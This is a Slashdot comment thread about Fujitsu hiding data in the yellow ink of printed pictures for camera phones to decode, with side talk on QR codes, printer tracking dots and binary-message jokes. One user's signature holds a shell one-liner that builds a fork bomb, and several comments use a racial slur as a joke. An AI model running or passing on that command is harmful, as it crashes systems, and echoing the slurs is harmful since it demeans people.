Slashdot Mirror


Camera Phones Read Hidden Messages in Print

pikine writes "As reported by BBC News, Fujitsu has developed a technology that encodes 12-bytes of information in a printed picture by skewing yellow hue, which is difficult to discern by human eye but fairly easy for camera phones to decode using software written in Java." The first target uses are promotional contests and competitions, not entirely unlike those game pieces that need to be viewed through a colored filter.

126 comments

  1. Anyone remember Digital Convergence? by plover · · Score: 3, Insightful
    I hope their business plan calls for Fujitsu to give away decoders like Digital Convergence did with :CueCats.

    But serioiusly, did anyone ever use a :CueCat for its business-intended purpose? Even once would be remarkable. I have no idea why someone would waste time trying this with a cell-phone, unless they were already a geek -- and then they'd be busy trying to find ways to hack it, not to use it.

    --
    John
    1. Re:Anyone remember Digital Convergence? by slash.dt · · Score: 3, Informative

      This is software and will work with any digital camera - though you would want to use a web-enabled device like your cellphone so that you can go to the link. So there is no need for dedicated hardware.

    2. Re:Anyone remember Digital Convergence? by robaal · · Score: 1

      ...easy for camera phones to decode...

    3. Re:Anyone remember Digital Convergence? by CheShACat · · Score: 1

      Am I the only person here that's concerned with them finding/celebrating new ways to add information to adverts in a way that is barely discernable by the human eye? It sounds 100% subversive to me, even assuming it is used "properly" to add "extra content" to adverts.

    4. Re:Anyone remember Digital Convergence? by WhatAmIDoingHere · · Score: 1

      I tried to use my CueCat for it's intended purpose, but it didn't work. I tried many times to get the damn thing to work, but it never recognized what I was scanning. And I tried just about everything I owned.

      --
      Not a Twitter sockpuppet... but I wish I was.
    5. Re:Anyone remember Digital Convergence? by Misch · · Score: 1

      I remember an Intel webcam I purchased came with software for Windows t do basically this.

      The back page of the manual was printed in a strange yellow/orange pattern that the webcam could "read" and send you to a web page.

      --

      --You will rephrase your request for me to go to hell. Goto statements are not acceptable programming constructs
    6. Re:Anyone remember Digital Convergence? by amRadioHed · · Score: 1

      Weren't the barcodes you were supposed to scan special codes found in advertisements? From what I recall it wasn't for the regular product codes. Ancient history, I could be wrong. I never used mine for it's intended purpose either.

      --
      We hope your rules and wisdom choke you / Now we are one in everlasting peace
    7. Re:Anyone remember Digital Convergence? by Lord+Kestrel · · Score: 1

      Yep, they were special bar codes that were supposed to be in magazine articles to let you scan them and go to the web site for the article. I wanted one, buy my local Radio Shack was out of em.

  2. Scary Tech by excelblue · · Score: 2, Insightful

    Oh boy, another waste of technology, and why does this not seem original? If anything, it reminds me of the yellow dots some color laser printers would put on things. Surely, the same tech won't be used to prevent digital pictures, etc. at places will it?

    1. Re:Scary Tech by spagetti_code · · Score: 5, Informative

      The unique identification of many (soon to me most or all) inkjets and color lasers was not
      done for you or me. It was done quietly for law enforcement to be able
      to *find* the owner of any printed document.

      The enormity of that type of underhanded removal of privacy is
      just gobsmacking. And most vendors quietly went along with it.

      This technology will no doubt be used in a similar vein - any
      picture uploaded onto the internet can be traced back to *you*.

      Freedom takes another blow.

    2. Re:Scary Tech by Peyna · · Score: 1

      The unique identification of many (soon to me most or all) inkjets and color lasers was not done for you or me. It was done quietly for law enforcement to be able to *find* the owner of any printed document.

      Good thing I'm safe with my mono laser printer.

      --
      What?
    3. Re:Scary Tech by Anonymous Coward · · Score: 0

      It is truly amazing. We've come a long way since Thomas Paine published Common Sense as an anonymous pamphleteer. I guess they don't want that to happen again.

    4. Re:Scary Tech by Craig+Davison · · Score: 1

      O Rly? What if I paid cash for my inkjet printer?

    5. Re:Scary Tech by Anonymous Coward · · Score: 0

      His anonymous pamphleteering worked out so well that to this day we still don't know who wrote Common Sense.

    6. Re:Scary Tech by Mr.+Roadkill · · Score: 1

      O Rly? What if I paid cash for my inkjet printer?
      It'll still tie the printout to your printer when The Man executes a warrant to examine all your printers. So you'd better be damn sure you haven't done anything that'll lead investigators to suspect you, and haven't sent any correspondence to government departments - donning my tinfoil hat here, what is there to stop governments routinely examining correspondence for these markings and linking senders to particular printers?

      Has anyone reverse-engineered the watermarks sufficiently to enable someone to add bogus watermarks to printouts from non-watermarking printers? That could be fun, once RFID is sufficiently commonplace - walk past a stack of printers in a store, capture their serial numbers and give them to your anarc^bastard friends on the other side of the country who then procede to create bogus watermarks that get used to send threatening letters over the next year or two and get law enforcement hassling innocent people whose only crime was to buy a printer and send in the warranty card.
    7. Re:Scary Tech by Johann+Lau · · Score: 1

      Uhm, that's kind of the point of the post you're replied to..?

    8. Re:Scary Tech by mrogers · · Score: 2, Funny

      That's why I always write ransom notes by hand, using my own blood.

    9. Re:Scary Tech by somersault · · Score: 1

      What you don't realise is that it quietly absorbs plasma from your body while you work and then prints a tiny amount onto the corner of every document you write.

      --
      which is totally what she said
    10. Re:Scary Tech by spyder913 · · Score: 1

      This is why on all "important" documents you print the whole page with a yellow overlay. Or you just don't replace the yellow ink cartridge.

    11. Re:Scary Tech by Heian-794 · · Score: 1

      My cheapie Brother printer will not print unless all four ink cartridges contain ink. If you run out of even one color, you still can't print in black and white until you fill that color cartridge again.

      At first I thought this was just an artificial way to drum up sales of proprietary ink, but now I realize that it's much more sinister -- all documents must contain the Big Brother Yellow Dots! ^_^

    12. Re:Scary Tech by mopower70 · · Score: 2, Informative

      That's why I always write ransom notes by hand, using my own blood. Take my word for it: that's how you get caught. You need to write the note in HER blood.
    13. Re:Scary Tech by Anonymous Coward · · Score: 0
    14. Re:Scary Tech by Hentai · · Score: 1

      Hrm. I'm surprised in this paranoid climate that noone has shut this down out of a panic that the turrists could use it to relay hidden communiques in strategically placed band posters.

      --
      -Hentai [in vita non pacem est]
  3. Don't print on color laser printers... by Anonymous Coward · · Score: 0

    ...or your ads might be mistaken for counterfeit money.

    http://www.eff.org/Privacy/printers/docucolor/

  4. Just like on Slashdot... by Anonymous Coward · · Score: 0

    You can find hidden messages everywhere... ,.. ., ...,..

    1. Re:Just like on Slashdot... by alex4u2nv · · Score: 0

      I have been trying to figure out what the hidden message is in this porn. Been taking picture all day at different angles, still no dice!

  5. Kill the barcode! by Mr.+Roadkill · · Score: 3, Interesting

    Am I the only one who's annoyed by bar codes on CD covers and books?
    Of course, this probably wouldn't fare too well on a re-issue of the White Album...

    1. Re:Kill the barcode! by slash.dt · · Score: 1
      Am I the only one who's annoyed by bar codes on CD covers and books?

      Of course, this probably wouldn't fare too well on a re-issue of the White Album...

      The idea is that this will not be visible to the naked eye - you should be cheering this announcment as a way to get rid of the barcodes that you hate but still keep the information.

    2. Re:Kill the barcode! by Mr.+Roadkill · · Score: 4, Insightful

      The idea is that this will not be visible to the naked eye - you should be cheering this announcment as a way to get rid of the barcodes that you hate but still keep the information.
      Um... I thought that was exactly what I was doing, while also pointing out a possible problem with certain kinds of image. Things might get interesting if you're embedding patterns of yellow in an image that consists of a uniform white, or - for that matter - any other uniform or near-uniform colour. I suspect that under some circumstances it WOULD introduce visible artifacts - it would need to shift the yellow balance in sufficiently large blocks for crappy cameraphones to be able to pick it up, so if you're adding that to a solid white or some other solid or near-solid colour it may be visible.

      (and who the hell modded me OT? Did they actually RTFA? And do they still have enough modpoints to come back and mod this "Flamebait"?)
    3. Re:Kill the barcode! by TobascoKid · · Score: 1

      I think the idea is that while the White Album may appear to be a uniform white to you, in reality it's not. It's mildly disturbing to think that a crappy cameraphone may have better colour vision than a human.

      --
      At some point, somewhere, the entire internet will be found to be illegal.
  6. They Live by miskatonic+alumnus · · Score: 1

    Consume. Breed. Sleep.

    1. Re:They Live by troylanes · · Score: 2, Interesting

      Don't forget OBEY
      Has anyone else noticed that the fight scene in They Live is nearly exactly the same choreography as in the Cripple Fight episode of South park?

    2. Re:They Live by Martin+Blank · · Score: 1

      The reverse is actually true -- that scene was based on They Live.

      I need to get that movie on DVD.

      --
      You can never go home again... but I guess you can shop there.
    3. Re:They Live by Vengeance_au · · Score: 1

      Yes - plenty of people. It was quite intentional. Parker and Stone discuss it on the (IIRC) 5th Series DVD commentary.

  7. Watermarks by mfh · · Score: 1

    I bet this results in some interesting watermark lawsuits in the next little while.

    --
    The dangers of knowledge trigger emotional distress in human beings.
  8. truthiness by President_Camacho · · Score: 5, Funny

    not entirely unlike those game pieces that need to be viewed through a colored filter

    I believe these days, the correct term is African-American filter.

    1. Re:truthiness by Anonymous Coward · · Score: 5, Funny

      not entirely unlike those game pieces that need to be viewed through a colored filter
      I believe these days, the correct term is African-American filter.
      Cut the politically correct bullshit. It's nigga filter.

      Filter stole my bike!
    2. Re:truthiness by T-Bone-T · · Score: 1

      Troll? I thought it was hilarious!

  9. Only one reply is really suitable. by Anonymous Coward · · Score: 0

    fnord

  10. Secret message by StikyPad · · Score: 4, Funny

    I've already found the hidden message. Actually, once I learned of the technique, I was surprised at just how many of these hidden messages exist.

    ****SPOILER WARNING****

    01000010 01100101 00100000 01110011 01110101 01110010 01100101 00100000 01110100 01101111 00100000 01100100 01110010 01101001 01101110 01101011 00100000 01111001 01101111 01110101 01110010 00100000 01001111 01110110 01100001 01101100 01110100 01101001 01101110 01100101 00101110

    1. Re:Secret message by Anonymous Coward · · Score: 0

      01001001 00100111 01101101 00100000 01110011 01101100 01100101 01100101 01110000 01101001 01101110 01100111 00100000 01110111 01101001 01110100 01101000 00100000 01111001 01101111 01110101 01110010 00100000 01100111 01101001 01110010 01101100 01100110 01110010 01101001 01100101 01101110 01100100 00101110

    2. Re:Secret message by Anonymous Coward · · Score: 0

      Even though nobody else thought it was funny, i thought that was hilarious and honestly lol'ed

    3. Re:Secret message by simontek2 · · Score: 1

      maybe I don't like ovaltine. 01001001001000000110010001101111011011100010011101 110100001000000110110001101001 01101011011001010010000001001111011101100110000101 101100011101000110100101101110 01100101

      --
      SimonTek
    4. Re:Secret message by UnknownSoldier · · Score: 3, Funny

      #include <stdio.h>
       
      char m[] =
      "01000010 01100101 00100000 01110011 01110101 01110010 01100101 00100000 01110100 01101111 00100000 01100100 01110010 01101001 01101110 01101011 00100000 01111001 01101111 01110101 01110010 00100000 01001111 01110110 01100001 01101100 01110100 01101001 01101110 01100101 00101110";
       
      int main(int argc, char* argv[])
      {
          int v = 0;
          char *p = m;
          while( *p )
          {
              if (*p == ' ')
              {
                  printf( "%c", v );
                  v = 0;
              }
              else
              {
                  v <<= 1;
                  v += ((*p == '0') ? 0 : 1);
              }
              p++;
          }
       
          return 0;
      }
      --
      Unfortunately, Slashdot limits sigs to .120 characters. However, I was able to ingeniously circumvent this limitation by using a pseudo .sig !

    5. Re:Secret message by Anonymous Coward · · Score: 0

      "Be sure to drink your Ovaltine"

    6. Re:Secret message by Anonymous Coward · · Score: 0

      You leave my girlfriend out of this!

    7. Re:Secret message by dreamlax · · Score: 1

      v += ((*p == '0') ? 0 : 1);
      I believe it's more efficient to do the following (assuming '0' == 0x30 and '1' == 0x31):

      v |= (*p ^ 0x30);
    8. Re:Secret message by StikyPad · · Score: 1

      Unfortunately, Slashdot limits sigs to .120 characters.

      You may want to check your math.

    9. Re:Secret message by complete+loony · · Score: 1

      T25seSBvbiBzbGFzaGRvdCBkb2VzIGEgYnVuY2ggb2YgYmluYX J5IHZhbHVlcyBnZXQgbW9kZGVkIGZ1bm55IG9yIGluZm9ybWF0 aXZlLg==

      --
      09F91102 no, 455FE104 nope, F190A1E8 uh-uh, 7A5F8A09 that's not it, C87294CE no. Ah! 452F6E403CDF10714E41DFAA257D313F.
    10. Re:Secret message by Fulkkari · · Score: 1

      T25seSBvbiBTbGFzaGRvdCB0aGVzZSBtZXNzYWdlcyB3aWxsIG FjdHVhbGx5IGJlIGRlY29kZWQuIDotKQ==

      --
      I demand the Cone of Silence!
    11. Re:Secret message by UnknownSoldier · · Score: 1

      Nice!

    12. Re:Secret message by UnknownSoldier · · Score: 1

      > How much wood could a woodchuck chuck if a woodchuck could chuck wood?

      3 chords.

      I miss Monkey Island...

    13. Re:Secret message by t1n0m3n · · Score: 1

      +1

      4F76616C74696E6520746173746573206C696B6520646F6E6B 65792062616C6C7300

      --
      32303036 204D5620 41677573 74612042 72757461 6C652039 31307320 53696C76 65722F52 656400
    14. Re:Secret message by pstudent12 · · Score: 0

      Here's the java version

      public class x
      {
      public static void main (String args[])
          {
          String m =
          "01000010 01100101 00100000 01110011 01110101 01110010 01100101 00100000 01110100 01101111 00100000 01100100 01110010 01101001 01101110 01101011 00100000 01111001 01101111 01110101 01110010 00100000 01001111 01110110 01100001 01101100 01110100 01101001 01101110 01100101 00101110";

          int i = 0;
          for (int n = 0; n < m.length(); n++)
              {
              char c = m.charAt(n);
              if (c == ' ') {
                  System.out.print((char)i);
                  i = 0;
                  }
              else
                  {
                  i = i << 1;
                  i += ((c == '0') ? 0 : 1);
                  }
              }
          }

      }

      //Be sure to drink your Ovaltine

    15. Re:Secret message by Emil+Brink · · Score: 1
      That is nice indeed. However, since it's cool to try to be portable, why not code it as

      v |= *p ^ '0';
      ? This way, you don't depend on the encoding value of zero being known, not even to a human reader of the code. Also, I seem to recall that C insists that the numbers are encoded in adjacent and increasing positions in the encoding (although I don't have time to dig up a reference on that right now), so this should be pretty safe. Personally, I would probably still code it using the + operator since I think that is more logical (no pun intended) for the operation being performed, though.
      --
      main(O){10<putchar(4^--O?77-(15&5128 >>4*O):10)&&main(2+O);}
    16. Re:Secret message by edschurr · · Score: 1

      I've been learning Scheme for a few days so here's another version, in "functional-style" (as I understand it so far, ie. no side-effects):

      (define code
          (string->list "01000010 01")) ; Truncated. Results in '(#\0 #\1 ... #\space #\0 ...), Ugh.
      (define decode
          (lambda (lst)
              (list->string (map integer->char (map list->integer (split code))))))
      (decode code)

      But I also had to code the procedures list->integer, split, and word in 503 characters exlcluding prefixed whitespace. I can't imagine the (in)efficiency. Time is 34 msec.

    17. Re:Secret message by locofungus · · Score: 1

      re: v |= *p ^ '0'

      This is not portable.

      While C requires that '1' == '0' + 1, it doesn't (necesarily) follow that '1' ^ '0' == 1.

      e.g.

      '0' == 63
      '1' == 64
      '0' ^ '1' == 127

      Tim.

      --
      God said, "div D = rho, div B = 0, curl E = -@B/@t, curl H = J + @D/@t," and there was light.
    18. Re:Secret message by mennucc1 · · Score: 2, Insightful

      echo 'ibase=2 01000010 01100101 00100000 01110011 01110101 01110010 01100101 00100000 01110100 01101111 00100000 01100100 01110010 01101001 01101110 01101011 00100000 01111001 01101111 01110101 01110010 00100000 01001111 01110110 01100001 01101100 01110100 01101001 01101110 01100101 00101110' | tr ' ' '\n' | bc -l | awk '{printf("%c",$1)}'
      Unix by any other name would not stink^H^H^H^Hsmell differently.
    19. Re:Secret message by pimpimpim · · Score: 1

      you win the shell award :D

      --
      molmod.com - computing tips from a molecular modeling
    20. Re:Secret message by complete+loony · · Score: 1

      VHJ1ZSwgYnV0IEkgd2FzIGtpbmQgb2YgaG9waW5nIGZvciBhIE Z1bm55IG9yIEluc2lnaHRmdWwgbW9kIG15c2VsZi4=

      --
      09F91102 no, 455FE104 nope, F190A1E8 uh-uh, 7A5F8A09 that's not it, C87294CE no. Ah! 452F6E403CDF10714E41DFAA257D313F.
    21. Re:Secret message by freespac3 · · Score: 1

      v += ((*p == '0') ? 0 : 1);
      thats a long winded way of saying

      v += *p-'0';
      --
      Better to regret something you have done, then something you haven't.
    22. Re:Secret message by JesseMcDonald · · Score: 1

      Another functional version, this time in Haskell:

      import Char

      bit '0' = 0
      bit '1' = 1
      binToChar w = chr $ foldl (\x y -> (2*x + bit y)) 0 w
      main = print $ map binToChar $ words code
      code = "01000010 01100101 00100000 01110011 01110101 01110010 01100101 00100000 " ++
             "01110100 01101111 00100000 01100100 01110010 01101001 01101110 01101011 " ++
             "00100000 01111001 01101111 01110101 01110010 00100000 01001111 01110110 " ++
             "01100001 01101100 01110100 01101001 01101110 01100101 00101110"

      --
      "The state is that great fiction by which everyone tries to live at the expense of everyone else." - Bastiat
    23. Re:Secret message by Anonymous Coward · · Score: 0

      01010011011010000110010100100000011101110110000101 11001101101110001001110111010000100000011000100110 11110111001001101110001000000110000100100000011001 11011010010111001001101100

    24. Re:Secret message by drinkypoo · · Score: 1

      3 chords.

      So what you're saying is that U2 is popular among wood-chucking rodents?

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    25. Re:Secret message by UnknownSoldier · · Score: 1

      Ouch / Touchéé !

      Now _that_ was funny! :)

    26. Re:Secret message by edschurr · · Score: 1

      Cool, foldl cleaned mine up a bit. My thinking of it is muddled though.

    27. Re:Secret message by JesseMcDonald · · Score: 1

      > Cool, foldl cleaned mine up a bit. My thinking of it is muddled though.

      The expression "foldl (\x y -> (2*x + bit y)) 0 w" is essentially equivalent to the following procedural pseudocode:

        x = 0
        for y in w
          x = 2 * x + bit(y)
        end
        return x

      The foldl routine (along with the right-associative foldr) is extremely useful in transforming most kinds of "for [element] in [list]" control structures. Their actual Haskell definitions are (I believe, from memory):

        foldl f b [] = b
        foldl f b (x:xs) = foldl f (f b x) xs

        foldr f b [] = b
        foldr f b (x:xs) = f x (foldr f b xs)

      A typical expansion might be:

           foldl (+) 0 [1,2,3,4]
        == foldl (+) (0 + 1) [2,3,4]
        == foldl (+) ((0 + 1) + 2) [3,4]
        == foldl (+) (((0 + 1) + 2) + 3) [4]
        == foldl (+) ((((0 + 1) + 2) + 3) + 4) []
        == ((((0 + 1) + 2) + 3) + 4)
        == 10

      --
      "The state is that great fiction by which everyone tries to live at the expense of everyone else." - Bastiat
  11. There goes my business model by alshithead · · Score: 2, Funny

    I guess selling lemon juice for invisible ink has just been retired.

    --
    I reserve the right to think for myself. Others' opinions are optional. Puppy on lap = typos...not illiteracy.
  12. Where's Waldo? by jlindy · · Score: 2, Funny

    All that development money for a high tech version of Where's Waldo? O.K. So now for the obligatory... But I'm color blind you insensitive clods!

  13. Mod Parent Up by Max+Littlemore · · Score: 5, Insightful

    Who are these donkeys who mod fantastically bad puns down just because they contain references to terms which may be politically sensitive or incorrect? I mean come on, that pun was beautifully apalling. Moderating it as troll seems to lack an understanding of what trolling is.

    I have a good mind to suggest "Nigger Filter" just to desensitize idiots with mod points so next time they see posts like the parent, they won't get their jocks all knotty. Who needs karma anyway?

    --
    I don't therefore I'm not.
    1. Re:Mod Parent Up by IHC+Navistar · · Score: 1

      I thnk they took a hint and left you have a post rating of 2.

      BTW, I believe the technical term for the filter you proposed is called a Country Club.

      ZING!

      Political correctness is for people with serious personal issues. I never understood why PC people think it is politically correct to force their viewpoints on people who don't share their opinions. Tolerance means tolerating intolerance. Stereotypes don't happen for no reason.....

      --
      Knowing Google's lust for data collection, the Soviet Union is still alive and well inside the psyche of Sergey Brin....
  14. Poor Man's Barcode by BoRegardless · · Score: 1

    ...or maybe "Everyman's Barcode" since the majority of cell phones have cameras.

    This will be a boon for advertisers wanting to direct traffic to their web sites.

    Good...bad?

    I just think it is an advance tha makes it easier for consumers.

    Different? Yes. Good in a way, because now a cell phone can be deliberately used to picture a 'link' image (deliberately designated as such if desired), and users don't have to dink in the URL character by character.

  15. further development of an existing technology by slash.dt · · Score: 5, Informative
    Mobile phones in Japan already have a function to read barcodes - rather than the traditional barcode that the west are used to, it is a small square of barcode information which holds a lot more data.

    You often see this barcode on advertisements next to the url - you can scan the barcode and save typing in the url. I've done it several times - even my non-techy wife uses the feature.

    This new announcement seems like a way that you can embed the information without having to have an obvious barcode spoiling the picture - but you will still need some tag to let you know that there was something there worth scanning.

    1. Re:further development of an existing technology by Hal_Porter · · Score: 3, Informative

      It's called QR code

      http://en.wikipedia.org/wiki/QR_Code

      The idea is that you print them on business cards, and people can scan your name and phone number into their phone quickly. Kind of useful in Japan where you end up with piles of business cards quite quickly.

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
    2. Re:further development of an existing technology by ^_^x · · Score: 1

      I was going to mention this, but you beat me to it...
      I don't think there's much reason to get excited about this here when we can't even do QRCodes on our phones... For years I've heard there are some that can do its Western counterpart, Semacode, but I've never seen a phone that can read them in person, and it's definitely not even 1/4 as widely adopted here -- I've really only seen them on parcels and machine parts for inventory tracking so far.

      So the hidden code/glyph is academically a bit interesting, but I'm still waiting for the 5-10 year old tech to get here first... :/

  16. Why not Semacode? by mungewell · · Score: 3, Informative

    The artical talks about the 'advantage' that you can link a picture to a digital domain.... so why not just use semacode or Q-codes. Then the reader knows your pushing a website/etc and will actually point their phone at it!

    Semacodes can store a lot more information and can be scalled to include more or less. They are FEC'ed and are quite relisiant to damage.
    http://www.semacode.com/

    You don't even need to use the offical Semacode decoder, there are Free projects around.
    Simon

  17. They put a CueCat in my phone! by Panaflex · · Score: 4, Informative

    The CueCat was a device to read barcodes out of printed materials into your machine - which then linked you up to the referenced website.

    Fortunately it was a commercial failure - as the "free" devices cost a huge amount of cash. I'm sure this will fare better, of course, because it utilizes customers existing equipment. But who knows what wonderful websites it'll forward you too, hmm?

    --
    I said no... but I missed and it came out yes.
  18. You're way behind.... by Anonymous Coward · · Score: 0

    Reflectively and presidentially challenged

  19. A very amateurish method. by jd · · Score: 4, Interesting
    Why not use a 4-colour printer, where you have red, green, blue and then some non-primary colour that is monochromatic? A 0 is represented by the colour mix, a 1 by the monochromatic version. Just as easy to discern, as the monochromatic pixels will be picked up differently (giving you essentially the same shift as their technique) but would involve ZERO distortion of the image. "Hard to discern" is not the same as "no visible change".

    This method can trivially be extended to any number of non-primary colours, with sufficient distance from each other. At worst, you get four (any two mixed, plus all three, versus the monochromatic version of each), giving you four times the information that can be stored as a straight 1 or 0.

    Still not enough? Then add two more states (1:3 monochrome:mixed and 2:3, respectively). This gives you 4 possible states, ie: 2 bits per pixel, ie: eight times the information of this colour distortion method, and I'm not changing a damned single pixel's value in the process.

    Fujitsu's method would be much harder to extend, as it's lossy, by deliberately introducing distortions. Eventually, if you add enough distortion to an image, you'll wreck the image. My alternative is lossless. There is no noise. I'm merely substituting one method of producing a value for another method of producing exactly the same value. There is no noise. You can extend the method as far as technology is capable of distinguishing the types of composition, and the human eye is guaranteed to register ABSOLUTELY ZERO change, because value-wise, there has been absolutely zero change. You can remove the information from the image and replace it with new information as often as you like, because there has been nothing lost at any stage.

    Am I some sort of genius? No, I just read the Madame Tetrachromat article on Slashdot a few years back and realized that you could use the same technique to deliberately hide information in plain sight. I also read articles explaining the limitations of RGB and why monitors cannot display all colours correctly to the human eye. By adding secondary colours in monochromatic form, you can produce a more "correct" image. By implication, the "right" colours would be hard for the eye to pick out but trivial for an RGB camera.

    So why didn't Fujitsu go with this method? VHS versus Betamax. A six- or seven-colour printer might be superior in how much information it can encode. It might also be superior in the quality of colour printing it can do under normal conditions, perhaps by a significant margin in some cases. It would also be hard to sell to customers who already have perfectly good RGB printers and would be a lot more expensive. People use 6.1 megapixel digital cameras and then convert to highly-compressed JPEG format because they prefer to burn quality than burn money. This will be the same. People will accept the loss rather than pay more for a cleaner image. They always have.

    (But I still think a true 7-colour printer would be damn amazing.)

    --
    It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    1. Re:A very amateurish method. by Stubtify · · Score: 2, Insightful

      The benefit to the method described in the article (which is probably just modifying the yellow dot's angle and slightly shifting the image) is that it can be done on any 4 color press. You could modify the image accordingly, and when the printer prints it your done. Anyone printing the file would probably not need to even know there is a hidden pattern. This opens you up to using and 4 color (CMYK) printer in the world.

      Your idea however requires special ink, as well as extra heads on the press. For a magazine run this is totally impractical. That's why most specialty printing is done seperate and then glued to a tab inside the magazine.

      Then again, in re-reading your post, I'm not exactly sure what you're suggesting. RGB are not colors used in printing (they are display colors), and your discussion of bits sounds like you're talking about a direct digital reading of the data. The article discusses taking a *very* lossy cameraphone photo of something in a magazine, and allowing this pattern (probably a purposely made moiré pattern) to be run through software and decoded. The reason it works is because yellow ink is transparent to us, and the dots cannot be seen by the human eye.

    2. Re:A very amateurish method. by NMerriam · · Score: 2, Informative

      So why didn't Fujitsu go with this method?


      You've basically reinvented Gray Component Replacement (GCR) and Under Color Removal (UCR), and they have nothing to do with hiding information. Replacing colors on the press in what is a theoretically neutral way is already done for many reasons.

      You're also depending on a perfect press, which doesn't exist (there are no bits or pixels on paper) -- you can't really swap ink mixtures in and out transparently. There is always a bit of difference due solely to the density of ink, humidity, paper, etc, so there are aesthetic reasons for replacing inks on the press in one way or the other.

      99% of the full-color printers on Earth are set up for 4 colors -- Cyan, Magenta, Yellow, and Black. The Yellow plate is the one we're least visually sensitive to, which is why they're using it to put information on. Your desktop printer is 4-color, not RGB (although it does all the processing in RGB). Adding extra plates or colors to printers is a hugely expensive and complicated undertaking, nobody is going to do it just to add something that isn't even visible.
      --
      Recursive: Adj. See Recursive.
    3. Re:A very amateurish method. by jd · · Score: 2, Insightful
      Correction taken. CMYB (Cyan Magenta Yellow Black) is the standard for printing, yes. CMY is basically RGB rotated, so the printing press would then use a mix of the three primary colours for everything other than red, green or blue. The red, green and blue would need to be inks that were specifically designed to be very pure wavelengths, so they would not be your regular mixes by any stretch. The idea is that a composite red and a pure, monochromatic red should look like exactly the same red to the human eye. However, you want it such that a composite red and a monochrome red have different characteristics as far as the CCD is concerned.

      You'll find an example CCD distribution for Sony's ICX285AL CCD on page 8 of the PDF. By comparison, the human eye's response looks very different, with different receptors in each case picking up what is nominally the same colour.

      You are correct, this would be horribly expensive. I think I may have mentioned that myself, in my original post. :) It would double the cost of the machines and quadruple the cost of ink. At least. It would also halve the effective throughput.

      --
      It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    4. Re:A very amateurish method. by Nuffsaid · · Score: 1

      the human eye is guaranteed to register ABSOLUTELY ZERO change

      At least, the color-blind human eye. I think the saturated/desaturated pattern you (seem to) describe, if made big enough to be detectable by a crap phone camera, would be as much visible as the one described in the article.
      --
      Nuffsaid
      ________

      Don't know about his cat, but Schroedinger is definitely dead.
    5. Re:A very amateurish method. by Anonymous Coward · · Score: 0

      You're still showing a complete lack of understanding of color theory and printing. You'd probably better stop before you dig yourself any deeper.

  20. Full picture by Anonymous Coward · · Score: 0

    The article only shows an excerpt of the photo so we can't really judge the quality of the processed photo. Here's the full picture (and original PR in Japanese).

    In my opinion, the processed image looks too much blueish for a good quality photo.

  21. Low-end vs. high-end phones by tepples · · Score: 2, Insightful

    ...easy for camera phones to decode... Most low-end prepaid cell phones that I have seen in stores in my part of the United States do not include a digital camera. Therefore, Fujitsu would have to either 1. market this technology to advertisers trying to reach people with high-end phones, or 2. deploy more camera phones.
    1. Re:Low-end vs. high-end phones by robaal · · Score: 1

      ...easy for camera phones to decode... Most low-end prepaid cell phones that I have seen in stores in my part of the United States do not include a digital camera. Therefore, Fujitsu would have to either 1. market this technology to advertisers trying to reach people with high-end phones, or 2. deploy more camera phones. Unless it's vastly different in the US, I'm pretty sure you'd get some camera-phone nearly-free with a contract. I believe separate, basic, camera-phones aren't prohibitively priced either.

      It's not like these are only high-end models - I think it's rarer for a mobile phone to come without a camera nowadays.

    2. Re:Low-end vs. high-end phones by tepples · · Score: 1

      Unless it's vastly different in the US, I'm pretty sure you'd get some camera-phone nearly-free with a contract. In the US, a lot of people don't have $720 for a 24-month contract, even if it is paid $30 at a time, especially if the carrier locks out a lot of the phone's features (such as the use of an affordable data cable and the use of freeware MIDlets).
    3. Re:Low-end vs. high-end phones by CellBlock · · Score: 1

      Just got a new contract from Cingular, and I got a Motorola L6 for $50 with a $50 MIR (so, basically free), and it's got no lock on the features (that I've noticed).

      It's data port is mini-USB, so I can use any cable that fits the port as a data cable, like that mini-USB cable that comes with just about every digital camera anymore. (Or maybe not anymore, actually, what with cameras using SD cards and the like.)

      Anyway, with the Motorola software (which isn't technically free, but there are freeware/shareware versions floating around, or at least some trials), and any mini-USB cable, I can dick around with my phone, and even use it as a cellular modem.

      Sure, maybe I'm paying $50 a month for my phone, but if I didn't have the money, I wouldn't have the phone. By looking around and seeing how just about every jackass is loudly going on about their latest drunken escapade or embarassing medical condition, I think most people can afford a cell phone.

    4. Re:Low-end vs. high-end phones by sisinka · · Score: 1

      Most, even low-end and prepaid, cell phones do have at least lame cameras in my part of Europe, even the post-communist, IMO. And, some U.S. expats I've met here care much less about their phones compared to Europeans. (Not talking about Asia or Japan - now here I'm just guessing.)

      --
      My parser is a grammar nazi.
    5. Re:Low-end vs. high-end phones by jamar0303 · · Score: 1

      This is made for Japan, where carriers will subsidize at least $400 of any phone's cost (that's why Japanese people pick up on phones quickly- they get all sorts of cool phones for free that US carriers are too cheap to subsidize) with a contract.

      --
      OSx86 FTW
    6. Re:Low-end vs. high-end phones by jamar0303 · · Score: 2, Informative

      In Japan almost every phone sold is a cameraphone (only a couple of mid-range phones are sold with a cameraless version, mainly on their CDMA carrier, KDDI) and a barcode system called QR code has been in place for a long time that does what this is supposed to do (except that it was a 2D "barcode").

      --
      OSx86 FTW
    7. Re:Low-end vs. high-end phones by Dogtanian · · Score: 2, Interesting

      Most low-end prepaid cell phones that I have seen in stores in my part of the United States do not include a digital camera. Therefore, Fujitsu would have to either 1. market this technology to advertisers trying to reach people with high-end phones, or 2. deploy more camera phones. The United States mobile phone market is different to the European market is different to the Japanese market.

      In the UK, camera phones are widely available for £50 inc. tax (US$90 approx) upwards, which is what most people would be spending on a phone anyway. (Sure, this isn't "low-end"- you can pick up a Nokia 1101 and the like for £20- but most day-to-day mobile phone users will be buying in the £50-£100 range).

      Anyhow, it strikes me that this technology would be most successful in Japan (different again); they've already got stuff like that which is popular there.
      --
      "Slashdot - News and Chat Sites Deviant". (Click "homepage" link above for details).
    8. Re:Low-end vs. high-end phones by Thansal · · Score: 1

      At $60 you can get a prepaid cammera phone (snapper) from virgin mobile (you can probably get a deal if you buy it in a store)
      At $0 you can get a bluetooth, camera phone (MotoV551) from Cingular with a 2yr contract.

      Camera phones are cheap these days, I actualy didn't want one, but got oen any way as a free bluetooth phone was tempting (yay for easy data transfers). Admitedly bluetooth is such a cheap technology that they should just put it any any phone...

      --
      Do Or Do Not, There Is No Spoon, There Is Only Zuul. Everything in the above post is probably opinion.
